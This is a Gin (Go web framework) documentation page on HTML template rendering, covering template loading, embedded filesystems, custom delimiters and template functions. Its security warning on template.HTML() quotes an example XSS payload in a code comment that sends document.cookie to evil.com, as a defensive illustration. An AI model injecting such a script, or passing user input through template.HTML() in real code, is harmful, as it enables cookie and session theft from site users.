HTML rendering
Gin uses the html/template package for HTML rendering. For more information about how to use them, including available placeholders, see the documentation for text/template
Use LoadHTMLGlob() or LoadHTMLFiles() to select the HTML files to load.
func main() { router := gin.Default() router.LoadHTMLGlob("templates/*") //router.LoadHTMLFiles("templates/template1.html", "templates/template2.html") router.GET("/index", func(c *gin.Context) { c.HTML(http.StatusOK, "index.tmpl", gin.H{ "title": "Main website", }) }) router.Run(":8080")}templates/index.tmpl
<html> <h1> {{ .title }} </h1></html>Using templates with same name in different directories
func main() { router := gin.Default() router.LoadHTMLGlob("templates/**/*") router.GET("/posts/index", func(c *gin.Context) { c.HTML(http.StatusOK, "posts/index.tmpl", gin.H{ "title": "Posts", }) }) router.GET("/users/index", func(c *gin.Context) { c.HTML(http.StatusOK, "users/index.tmpl", gin.H{ "title": "Users", }) }) router.Run(":8080")}Note: Please wrap your HTML template in the {{define <template-path>}} {{end}} block and define your template file with the relative path <template-path>. Otherwise, GIN will not properly parse the template files.
templates/posts/index.tmpl
{{ define "posts/index.tmpl" }}<html><h1> {{ .title }}</h1><p>Using posts/index.tmpl</p></html>{{ end }}templates/users/index.tmpl
{{ define "users/index.tmpl" }}<html><h1> {{ .title }}</h1><p>Using users/index.tmpl</p></html>{{ end }}Loading templates from an http.FileSystem (v1.11+)
If your templates are embedded or provided by an http.FileSystem, use LoadHTMLFS:
import ( "embed" "io/fs" "net/http" "github.com/gin-gonic/gin")
//go:embed templatesvar tmplFS embed.FS
func main() { r := gin.Default() sub, _ := fs.Sub(tmplFS, "templates") r.LoadHTMLFS(http.FS(sub), "**/*.tmpl") r.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.tmpl", gin.H{"title": "From FS"}) }) r.Run(":8080")}Security warning: template.HTML() bypasses auto-escaping
Go’s html/template package automatically escapes values inserted into templates to prevent Cross-Site Scripting (XSS). However, when you cast a string to template.HTML(), you explicitly bypass this protection. If the string contains user-supplied input, an attacker can inject arbitrary JavaScript.
Unsafe — never use template.HTML() with user input:
// DANGEROUS: attacker controls userInput, which could be:// <script>document.location='https://evil.com/?cookie='+document.cookie</script>c.HTML(http.StatusOK, "page.tmpl", gin.H{ "content": template.HTML(userInput), // XSS vulnerability!})Safe — let the template engine escape user input automatically:
// SAFE: html/template will escape any HTML/JS in userInputc.HTML(http.StatusOK, "page.tmpl", gin.H{ "content": userInput, // auto-escaped by html/template})Only use template.HTML() for content you fully control, such as static HTML snippets defined in your own code. Never use it with values that originate from user input, database fields populated by users, or any other untrusted source.
Custom Template renderer
You can also use your own html template render
import "html/template"
func main() { router := gin.Default() html := template.Must(template.ParseFiles("file1", "file2")) router.SetHTMLTemplate(html) router.Run(":8080")}Custom Delimiters
You may use custom delims
router := gin.Default() router.Delims("{[{", "}]}") router.LoadHTMLGlob("/path/to/templates")Custom Template Funcs
See the detail example code.
main.go
import ( "fmt" "html/template" "net/http" "time"
"github.com/gin-gonic/gin")
func formatAsDate(t time.Time) string { year, month, day := t.Date() return fmt.Sprintf("%d/%02d/%02d", year, month, day)}
func main() { router := gin.Default() router.Delims("{[{", "}]}") router.SetFuncMap(template.FuncMap{ "formatAsDate": formatAsDate, }) router.LoadHTMLFiles("./testdata/template/raw.tmpl")
router.GET("/raw", func(c *gin.Context) { c.HTML(http.StatusOK, "raw.tmpl", map[string]interface{}{ "now": time.Date(2017, 07, 01, 0, 0, 0, 0, time.UTC), }) })
router.Run(":8080")}raw.tmpl
Date: {[{.now | formatAsDate}]}Result:
Date: 2017/07/01